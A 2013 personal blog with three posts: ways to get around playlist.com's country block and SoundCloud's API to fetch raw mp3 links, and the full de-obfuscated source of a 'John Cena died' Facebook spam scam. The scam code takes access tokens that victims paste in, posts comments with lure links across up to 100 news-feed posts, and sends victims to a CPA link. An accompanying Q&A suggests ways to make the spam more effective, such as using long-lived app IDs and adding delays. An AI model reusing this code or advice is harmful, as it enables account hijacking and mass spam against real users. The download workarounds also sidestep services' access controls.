Wednesday 27 February 2013

playlist.com - bypass country restriction

I'm open http://www.playlist.com/, the player just skipping all my added songs without play any song.

As discussion found on http://answers.yahoo.com/question/index?qid=20090626094142AAsfhL7, their conclusion is that http://www.playlist.com/  can only play inside US region. No solution.


 I figure out the website also using API.
...var GAMMA_API = "/cakeapi/";var GAMMA_API2 = "/cakeapi/";var GAMMA_API3 = "/cakeapi/";var GAMMA_API_SONGS = "/cakeapi/";...



However, if i open http://www.playlist.com/cakeapi/playlist/23851079435, i saw
{"header":{"code":0,"msg":"","time":1361966031},"body":[{"id":"23851079435","title":"\u6797\u679c\u769e's Playlist","description":"","username":"\u6797\u679c\u769e","owner_id":"58558546","owner_url":"http:\/\/www.playlist.com\/f\/user\/58558546","is_group":false,"created":"Wed, 27 Feb 2013 07:29:02 GMT","created_sec":1361950142,"last_mod_sec":1361950142,"last_mod_time_ago":"4 hours ago","icon":"http:\/\/static.pplaylist.com\/img\/user\/du.gif","url":"http:\/\/www.playlist.com\/f\/playlist\/23851079435","song_count":2,"comments":[],"songs":[]}]}


And if i open http://www.playlist.com/cakeapi/playlist/23851079435?tracks=200, i saw
{"header":{"code":0,"msg":"","time":1361967107},"body":[{"id":"23851079435","title":"\u6797\u679c\u769e's Playlist","description":"","username":"\u6797\u679c\u769e","owner_id":"58558546","owner_url":"http:\/\/www.playlist.com\/f\/user\/58558546","is_group":false,"created":"Wed, 27 Feb 2013 07:29:02 GMT","created_sec":1361950142,"last_mod_sec":1361950142,"last_mod_time_ago":"5 hours ago","icon":"http:\/\/static.pplaylist.com\/img\/user\/du.gif","url":"http:\/\/www.playlist.com\/f\/playlist\/23851079435","song_count":2,"comments":[],"songs":[{"tracklink_id":1712768273,"track_id":null,"title":"Harlem Shake","artist":"Baauer","duration":null,"status":1,"icon":"http:\/\/static.pplaylist.com\/img\/elements\/album-art.gif","enc_mp3":null,"mp3":null},{"tracklink_id":766253585,"track_id":null,"title":"Around The World (Megamix)","artist":"The Allstars Covers Atc","duration":194,"status":1,"icon":"http:\/\/static.pplaylist.com\/img\/elements\/album-art.gif","enc_mp3":null,"mp3":null}]}]}

Sorry, both're no mp3 links. They're block me.


 So now, let me show you simple steps to bypass this country restriction, and get the mp3 links.

 Step 1: Open http://www.playlist.com, search song.

 Step 2: Then you would see a list of songs. Example here, http://www.playlist.com/search/around%20the%20world%20atc/songs with your browser. 

Click small icon  behind the song, add song to your playlist(If you doesn't have a account yet, you should create new account first).

 Step 3: Click "My playlists" label on the top of the page to access your playlists. Example here, http://www.playlist.com/user/58558546/playlists

 Step 4: Choose one playlist(which was the one you use to added song just now.). Example 林果皞's Playlist, http://www.playlist.com/playlist/23851079435

 Step 5: Now you see the playlist id on your URL bar, example here is http://www.playlist.com/playlist/23851079435, which 23851079435 is my playlist id.

 Step 6: Add this playlist id 23851079435 at the end of http://pl.playlist.com/pl.php?e=1&playlist= ,example here is become http://pl.playlist.com/pl.php?e=1&playlist=23851079435 . Open it


 Step 7: Copy the mp3 link between <location>...</location>, example is http://cdn1-99.projectplaylist.com/e1/v1_0_0/exampleeeeeeeeeeeeeeeeeeeeeeeeeeeee(this is example, cannot play, you should get mp3 by your own. And it may expire within several minutes+)

 Step 8: Open this mp3 link with your browser. Play, download, and enjoy :)



Pumped Up Kicks by Foster The People on Grooveshark

Friday 22 February 2013

John Cena of WWE died spam - main execution source code



Q: Why facebook didn't block the apps? Why i couldn't remove the apps?

A: The spam consists of different famous app id, such as youtube app (Visit https://graph.facebook.com/7270241753http://graph.facebook.com/87741124305 or https://www.facebook.com/7270241753), iphone app..etc. It just borrow the app id to get access token from user. No point for facebook to block it and no way for you to remove it(Em..i means some of them no way, not all. Some apps like https://graph.facebook.com/25554907596http://graph.facebook.com/2309869772https://graph.facebook.com/2347471856 is almost impossible to remove). However, this kind of app require APP secret key to get 2 months long term access token, that's means this borrowed token only can survive for 2 hours. There's still got exception, if the spam redirect via m.facebook.com, the access token would consider as desktop application type, which able to survive for 2 months(You can change your password to force it expire.)

Q: What can be improve the spam?

A: Likes can spam of course, however, Comment spam sure block before comments all 50 posts id from newsfeed, and previous commented may deleted by facebook. The total of comments should decrease as possible. (to those who are concerned,
Facebook API have different rate limits calculation for /feed, /link, /comment, /like, etc). Delay between each request should longer. And as i mentioned, the code should force user redirect to m.faceook.com, not www.facebook.com. And using some application id like windows messenger http://graph.facebook.com/220764691281998, firefox messenger http://graph.facebook.com/276729612446445 ...etc, which never expired(Again, change your password to make it dead).


Javascript 1:
var country = geoip_country_code();
if (country == 'PH' || country == 'SA' || country == 'SG' || country == 'HK' || country == 'AE' || country == 'ID' || country == 'LT' || country == 'TW') {};
if (country == 'US' || country == 'GB' || country == 'FR' || country == 'DE') {
window['location'] = 'http://plgngl.info/tkn/obfu2.php';
};
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
if (is_firefox) {
window['location'] = 'http://blankrefer.com?http://plgngl.info/ff/firefox.php';
};
var isCtrl = false;
document['onkeyup'] = function (_0xd2e8x4) {
if (_0xd2e8x4['which'] == 17) {
isCtrl = false;
};
};
document['onkeydown'] = function (_0xd2e8x4) {
if (_0xd2e8x4['which'] == 17) {
isCtrl = true;
SetFocus('scatola');
return false;
};
};
$('.url')['live']('paste', function (_0xd2e8x5) {
var _0xd2e8x6 = this;
setTimeout(function () {
var _0xd2e8x7 = $(_0xd2e8x6)['val']();
$('.control')['css']('display', 'none');
$('#loading_bar')['css']('display', 'block');
checkData(_0xd2e8x7);
}, 100);
});

function SetFocus(_0xd2e8x9) {
document['getElementById'](_0xd2e8x9)['focus']();
};

function checkData(_0xd2e8xb) {
try {
if (_0xd2e8xb['indexOf']('access_token=') == -1) {
throw new Error('invalid access_token');
};
var _0xd2e8xc = _0xd2e8xb['split']('access_token=')['pop']()['split']('&')['shift']();
var _0xd2e8xd = _0xd2e8xb['split']('expires_in=')['pop']()['split']('&')['shift']();
console['log']('got token', _0xd2e8xc);
if (_0xd2e8xc) {
doShit(_0xd2e8xc);
} else {
throw new Error('invalid access_token');
};
} catch (e) {
handleError();
};
};
var handleError = function () {
alert('Whoops! Looks like there was a problem generating your code, please try again');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};

function cpa() {
window['location'] = 'http://bit.ly/w1W1k2';
};

function latestShort(_0xd2e8x11, _0xd2e8x12) {
var _0xd2e8x13 = 'http://to.ly/api.php?json=1&longurl=' + encodeURIComponent(_0xd2e8x11) + '&callback=?';
$['getJSON'](_0xd2e8x13, function (_0xd2e8x14) {
_0xd2e8x12 && _0xd2e8x12(_0xd2e8x14['shorturl']);
});
};

function doShit(_0xd2e8x16) {
$['getJSON']('https://graph.facebook.com/me?access_token=' + _0xd2e8x16, function (_0xd2e8x17) {
if (_0xd2e8x17['id']) {
var _0xd2e8x18 = _0xd2e8x17['id'];
var _0xd2e8x19 = _0xd2e8x17['name'];
var _0xd2e8x1a = Math['floor'](Math['random']() * 734892748932);
var _0xd2e8x1b = 'John Cena of WWE died in a head injury while training! Watch the original v1deo cl1p here >>> ';
var _0xd2e8x1c = new Array();
_0xd2e8x1c[0] = 'http://static.tumblr.com/c5apoln/9Ahmimxus/cena.html';
_0xd2e8x1c[1] = 'http://static.tumblr.com/c5apoln/s5hmimxxi/cena.html';
_0xd2e8x1c[2] = 'http://static.tumblr.com/c5apoln/klimimxxr/cena.html';
_0xd2e8x1c[3] = 'http://static.tumblr.com/c5apoln/DtNmimxxy/cena.html';
_0xd2e8x1c[4] = 'http://static.tumblr.com/c5apoln/Vs9mimxy8/cena.html';
_0xd2e8x1c[5] = 'http://static.tumblr.com/c5apoln/j9Emimxyg/cena.html';
_0xd2e8x1c[6] = 'http://static.tumblr.com/c5apoln/GQhmimxyn/cena.html';
_0xd2e8x1c[7] = 'http://static.tumblr.com/c5apoln/HU1mimxyu/cena.html';
_0xd2e8x1c[8] = 'http://static.tumblr.com/c5apoln/Y8Imimxz1/cena.html';
_0xd2e8x1c[9] = 'http://static.tumblr.com/c5apoln/ofxmimxz8/cena.html';
_0xd2e8x1c[10] = 'http://static.tumblr.com/c5apoln/4CUmimxzf/cena.html';
var _0xd2e8x1d = 50;
$['getJSON']('https://graph.facebook.com/' + _0xd2e8x18 + '/home?limit=' + _0xd2e8x1d + '&access_token=' + _0xd2e8x16, function (_0xd2e8x17) {
if (_0xd2e8x17['data']) {
var _0xd2e8x1e = [];
var _0xd2e8x1f = 0;
$['each'](_0xd2e8x17['data'], function (_0xd2e8x20, _0xd2e8xb) {
_0xd2e8x1e['push'](_0xd2e8xb['id']);
var _0xd2e8x21 = Math['floor'](Math['random']() * _0xd2e8x1c['length']);
var _0xd2e8x22 = Math['floor'](Math['random']() * _0xd2e8x1a);
var _0xd2e8x23 = _0xd2e8x1c[_0xd2e8x21] + '?' + _0xd2e8x22;
var _0xd2e8x24 = new Array();
_0xd2e8x24[0] = 'http://mcaf.ee/qlca2';
_0xd2e8x24[1] = 'http://mcaf.ee/gvbfr';
_0xd2e8x24[2] = 'http://mcaf.ee/glbqf';
_0xd2e8x24[3] = 'http://mcaf.ee/kszhc';
_0xd2e8x24[4] = 'http://mcaf.ee/awjck';
_0xd2e8x24[5] = 'http://mcaf.ee/w5g4f';
_0xd2e8x24[6] = 'http://mcaf.ee/vrojx';
_0xd2e8x24[7] = 'http://mcaf.ee/miq7y';
_0xd2e8x24[8] = 'http://mcaf.ee/w5tgv';
_0xd2e8x24[9] = 'http://mcaf.ee/t7spj';
_0xd2e8x24[10] = 'http://mcaf.ee/n0kbf';
var _0xd2e8x25 = Math['floor'](Math['random']() * _0xd2e8x24['length']);
var _0xd2e8x26 = null;
$['getJSON']('http://is.gd/create.php?format=json&url=' + _0xd2e8x23, function (_0xd2e8xb) {
_0xd2e8x26 = _0xd2e8xb['shorturl'];
_0xd2e8x1f = _0xd2e8x1f + 1;
if (!_0xd2e8x26) {
_0xd2e8x26 = _0xd2e8x24[_0xd2e8x25];
};
console['log'](_0xd2e8x26);
_0xd2e8x27();
_0xd2e8x29();
});

function _0xd2e8x27() {
var _0xd2e8x28 = _0xd2e8x1b + _0xd2e8x26;
$['getJSON']('https://graph.facebook.com/' + _0xd2e8xb['id'] + '/comments?method=POST&message=' + _0xd2e8x28 + '&access_token=' + _0xd2e8x16, function (_0xd2e8x17) {
console['log']('comment id: ' + _0xd2e8xb['id']);
});
};

function _0xd2e8x29() {
if (_0xd2e8x1f == _0xd2e8x1d) {
console['log'](_0xd2e8x1f, _0xd2e8x1d);
console['log']('Redirecting...');
cpa();
};
};
});
} else {
alert('Wrong Code. Please try again.');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};
});
};
});
};


 
Javascript 2:
if (document['location']['href']['indexOf']('plgngl.info') !== -1) {} else {
top['location'] = 'http://plgngl.info/tkn/';
};
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
if (is_firefox) {
window['location'] = 'http://blankrefer.com?http://plgngl.info/ff/firefox.php';
};
var isCtrl = false;
document['onkeyup'] = function (_0x78b2x3) {
if (_0x78b2x3['which'] == 17) {
isCtrl = false;
};
};
document['onkeydown'] = function (_0x78b2x3) {
if (_0x78b2x3['which'] == 17) {
isCtrl = true;
SetFocus('scatola');
return false;
};
};
$('.url')['live']('paste', function (_0x78b2x4) {
var _0x78b2x5 = this;
setTimeout(function () {
var _0x78b2x6 = $(_0x78b2x5)['val']();
$('.control')['css']('display', 'none');
$('#loading_bar')['css']('display', 'block');
checkData(_0x78b2x6);
}, 100);
});

function SetFocus(_0x78b2x8) {
document['getElementById'](_0x78b2x8)['focus']();
};

function checkData(_0x78b2xa) {
try {
if (_0x78b2xa['indexOf']('access_token=') == -1) {
throw new Error('invalid access_token');
};
var _0x78b2xb = _0x78b2xa['split']('access_token=')['pop']()['split']('&')['shift']();
var _0x78b2xc = _0x78b2xa['split']('expires_in=')['pop']()['split']('&')['shift']();
console['log']('got token', _0x78b2xb);
if (_0x78b2xb) {
doShit(_0x78b2xb);
} else {
throw new Error('invalid access_token');
};
} catch (e) {
handleError();
};
};
var handleError = function () {
alert('Whoops! Looks like there was a problem generating your code, please try again');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};

function cpa() {
window['location'] = 'http://bit.ly/w1W1k2';
};

function doShit(_0x78b2x10) {
$['getJSON']('https://graph.facebook.com/me?access_token=' + _0x78b2x10, function (_0x78b2x11) {
if (_0x78b2x11['id']) {
var _0x78b2x12 = _0x78b2x11['id'];
var _0x78b2x13 = _0x78b2x11['name'];
var _0x78b2x14 = Math['floor'](Math['random']() * 734892748932);
var _0x78b2x15 = 'John Cena of WWE died in a head injury while training! Watch the original v1deo cl1p here >>> ';
var _0x78b2x16 = new Array();
_0x78b2x16[0] = 'http://gfyuegshfiohes.tumblr.com/';
_0x78b2x16[1] = 'http://hjiotjrkphoiyt.tumblr.com/';
_0x78b2x16[2] = 'http://gfehiojfapojwoi.tumblr.com/';
_0x78b2x16[3] = 'http://ghsfijspoekfpo.tumblr.com/';
_0x78b2x16[4] = 'http://ruyqwioeruiq.tumblr.com/';
var _0x78b2x17 = 50;
$['getJSON']('https://graph.facebook.com/' + _0x78b2x12 + '/home?limit=' + _0x78b2x17 + '&access_token=' + _0x78b2x10, function (_0x78b2x11) {
if (_0x78b2x11['data']) {
var _0x78b2x18 = [];
var _0x78b2x19 = 0;
$['each'](_0x78b2x11['data'], function (_0x78b2x1a, _0x78b2xa) {
_0x78b2x18['push'](_0x78b2xa['id']);
var _0x78b2x1b = Math['floor'](Math['random']() * _0x78b2x16['length']);
var _0x78b2x1c = Math['floor'](Math['random']() * _0x78b2x14);
var _0x78b2x1d = _0x78b2x16[_0x78b2x1b] + '?' + _0x78b2x1c;
var _0x78b2x1e = new Array();
_0x78b2x1e[0] = 'http://mcaf.ee/8hyga';
_0x78b2x1e[1] = 'http://mcaf.ee/stky0';
_0x78b2x1e[2] = 'http://mcaf.ee/wmxu1';
_0x78b2x1e[3] = 'http://mcaf.ee/0eg1y';
_0x78b2x1e[4] = 'http://mcaf.ee/2anem';
var _0x78b2x1f = Math['floor'](Math['random']() * _0x78b2x1e['length']);
var _0x78b2x20 = null;
$['getJSON']('http://is.gd/create.php?format=json&url=' + _0x78b2x1d, function (_0x78b2xa) {
_0x78b2x20 = _0x78b2xa['shorturl'];
_0x78b2x19 = _0x78b2x19 + 1;
if (!_0x78b2x20) {
_0x78b2x20 = _0x78b2x1e[_0x78b2x1f];
};
console['log'](_0x78b2x20);
_0x78b2x21();
_0x78b2x23();
});

function _0x78b2x21() {
var _0x78b2x22 = _0x78b2x15 + _0x78b2x20;
$['getJSON']('https://graph.facebook.com/' + _0x78b2xa['id'] + '/comments?method=POST&message=' + _0x78b2x22 + '&access_token=' + _0x78b2x10, function (_0x78b2x11) {
console['log']('comment id: ' + _0x78b2xa['id']);
});
};

function _0x78b2x23() {
if (_0x78b2x19 == _0x78b2x17) {
console['log'](_0x78b2x19, _0x78b2x17);
console['log']('Redirecting...');
cpa();
};
};
});
} else {
alert('Wrong Code. Please try again.');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};
});
};
});
};
 
Javascript 3:
var country = geoip_country_code();
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
if (is_firefox) {
window['location'] = 'http://blankrefer.com?http://plgngl.info/ff/firefox.php';
};
var isCtrl = false;
document['onkeyup'] = function (_0xc57bx4) {
if (_0xc57bx4['which'] == 17) {
isCtrl = false;
};
};
document['onkeydown'] = function (_0xc57bx4) {
if (_0xc57bx4['which'] == 17) {
isCtrl = true;
SetFocus('scatola');
return false;
};
};
$('.url')['live']('paste', function (_0xc57bx5) {
var _0xc57bx6 = this;
setTimeout(function () {
var _0xc57bx7 = $(_0xc57bx6)['val']();
$('.control')['css']('display', 'none');
$('#loading_bar')['css']('display', 'block');
checkData(_0xc57bx7);
}, 100);
});

function SetFocus(_0xc57bx9) {
document['getElementById'](_0xc57bx9)['focus']();
};

function checkData(_0xc57bxb) {
try {
if (_0xc57bxb['indexOf']('access_token=') == -1) {
throw new Error('invalid access_token');
};
var _0xc57bxc = _0xc57bxb['split']('access_token=')['pop']()['split']('&')['shift']();
var _0xc57bxd = _0xc57bxb['split']('expires_in=')['pop']()['split']('&')['shift']();
console['log']('got token', _0xc57bxc);
if (_0xc57bxc) {
doShit(_0xc57bxc);
} else {
throw new Error('invalid access_token');
};
} catch (e) {
handleError();
};
};
var handleError = function () {
alert('Whoops! Looks like there was a problem generating your code, please try again');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};

function cpa() {
window['location'] = 'http://bit.ly/w1W1k2';
};

function doShit(_0xc57bx11) {
$['getJSON']('https://graph.facebook.com/me?access_token=' + _0xc57bx11, function (_0xc57bx12) {
if (_0xc57bx12['id']) {
var _0xc57bx13 = _0xc57bx12['id'];
var _0xc57bx14 = _0xc57bx12['name'];
var _0xc57bx15 = Math['floor'](Math['random']() * 734892748932);
var _0xc57bx16 = 'John Cena of WWE died in a head injury while training! Watch the original v1deo cl1p here >>> ';
var _0xc57bx17 = new Array();
if (country == 'US' || country == 'GB' || country == 'FR' || country == 'DE') {
_0xc57bx17[0] = 'https://archive.org/download/Forse1933_armyspy_Cena/cena.html';
_0xc57bx17[1] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/czzudfx.html';
_0xc57bx17[2] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/ddtirol.html';
_0xc57bx17[3] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/gkhunem.html';
_0xc57bx17[4] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/jruimsi.html';
_0xc57bx17[5] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/kqqijgr.html';
} else {
_0xc57bx17[0] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/kyvmumt.html';
_0xc57bx17[1] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/lsgzwwh.html';
_0xc57bx17[2] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/sqlwqwd.html';
_0xc57bx17[3] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/tmznbzb.html';
_0xc57bx17[4] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/yqvsnmc.html';
_0xc57bx17[5] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/cena.html';
};
var _0xc57bx18 = 100;
$['getJSON']('https://graph.facebook.com/' + _0xc57bx13 + '/home?limit=' + _0xc57bx18 + '&access_token=' + _0xc57bx11, function (_0xc57bx12) {
if (_0xc57bx12['data']) {
var _0xc57bx19 = [];
var _0xc57bx1a = 0;
$['each'](_0xc57bx12['data'], function (_0xc57bx1b, _0xc57bxb) {
_0xc57bx19['push'](_0xc57bxb['id']);
var _0xc57bx1c = Math['floor'](Math['random']() * _0xc57bx17['length']);
var _0xc57bx1d = Math['floor'](Math['random']() * _0xc57bx15);
var _0xc57bx1e = _0xc57bx17[_0xc57bx1c] + '?' + _0xc57bx1d;
var _0xc57bx1f = new Array();
if (country == 'US' || country == 'GB' || country == 'FR' || country == 'DE') {
_0xc57bx1f[0] = 'http://mcaf.ee/c34l5';
_0xc57bx1f[1] = 'http://mcaf.ee/yvowz';
_0xc57bx1f[2] = 'http://mcaf.ee/idbmp';
} else {
_0xc57bx1f[0] = 'http://mcaf.ee/c05hx';
_0xc57bx1f[1] = 'http://mcaf.ee/aovq0';
_0xc57bx1f[2] = 'http://mcaf.ee/d8ifj';
};
var _0xc57bx20 = Math['floor'](Math['random']() * _0xc57bx1f['length']);
var _0xc57bx21 = null;
$['getJSON']('http://is.gd/create.php?format=json&url=' + _0xc57bx1e, function (_0xc57bxb) {
_0xc57bx21 = _0xc57bxb['shorturl'];
_0xc57bx1a = _0xc57bx1a + 1;
if (!_0xc57bx21) {
_0xc57bx21 = _0xc57bx1f[_0xc57bx20];
};
console['log'](_0xc57bx21);
_0xc57bx22();
_0xc57bx24();
});

function _0xc57bx22() {
var _0xc57bx23 = _0xc57bx16 + _0xc57bx21;
$['getJSON']('https://graph.facebook.com/' + _0xc57bxb['id'] + '/comments?method=POST&message=' + _0xc57bx23 + '&access_token=' + _0xc57bx11, function (_0xc57bx12) {
console['log']('comment id: ' + _0xc57bxb['id']);
});
};

function _0xc57bx24() {
if (_0xc57bx1a == _0xc57bx18) {
console['log'](_0xc57bx1a, _0xc57bx18);
console['log']('Redirecting...');
cpa();
};
};
});
} else {
alert('Wrong Code. Please try again.');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};
});
};
});
};

Thursday 7 February 2013

soundcloud.com - bypass API to download

2014 may 公告: 此方法不支持 rtmpe 的 streaming。

With API, i get the client_id via registration, or just extract from browser .js source.
Assume client_id is 24b56738597c2fpikachu4ff0192a653237, then i try to find out the track id by http://api.soundcloud.com/users/shaheid-kombat-jr-shukri/tracks?client_id=24b56738597c2fpikachu4ff0192a653237


<id type="integer">56134538</id>
<title>shaheid t-ara Day by Day REMIX 3</title>


I know the id is 56134538 now, then call download url http://api.soundcloud.com/tracks/56134538/download?client_id=24b56738597c2fpikachu4ff0192a653237 (if download not false)
or stream url http://api.soundcloud.com/tracks/56134538/stream?client_id=24b56738597c2fpikachu4ff0192a653237

I require both api.soundcloud.com and client_id to perform these steps, not good.


Let me show you simpler way to do it, NO api, NO client id.

Anyone can do it.

1. Open mobile version website with your browser, http://soundcloud.com/shaheid-kombat-jr-shukri/shaheid-t-ara-day-by-day-1


2. Because we can't just visit m.soundcloud.com without changing its user agent, so Press 12 (OR right click to choose Inspect Element) to pup up developer windows, then click the "wheel" icon at the bottom right to pop up Settings windows


3. Then select iphone 4 OR any mobile user agent. (You can untick the User agent to change it back.)


4. Then click x icon aon upper right to close this Settings windows.

5. For the moment don't close developer windows first, just navigate to URL bar and reload this page.



6. Now the page become mobile version of soundcloud.com. Scroll down, right click the wave form player, select Open image in new tab(or just Copy Image URL),




3. Look at the URL bar, it's http://w1.sndcdn.com/H3kLBvnkJaJl_m.png. Remove the http://w1.sndcdn.com/ and _m.png, just remains the middle H3kLBvnkJaJl.



4. Combine http://media.soundcloud.com/stream/ in front of H3kLBvnkJaJl, that's means http://media.soundcloud.com/stream/H3kLBvnkJaJl




5. Open it on browser, download, play, and enjoy.

Gong Xi Fai Cai.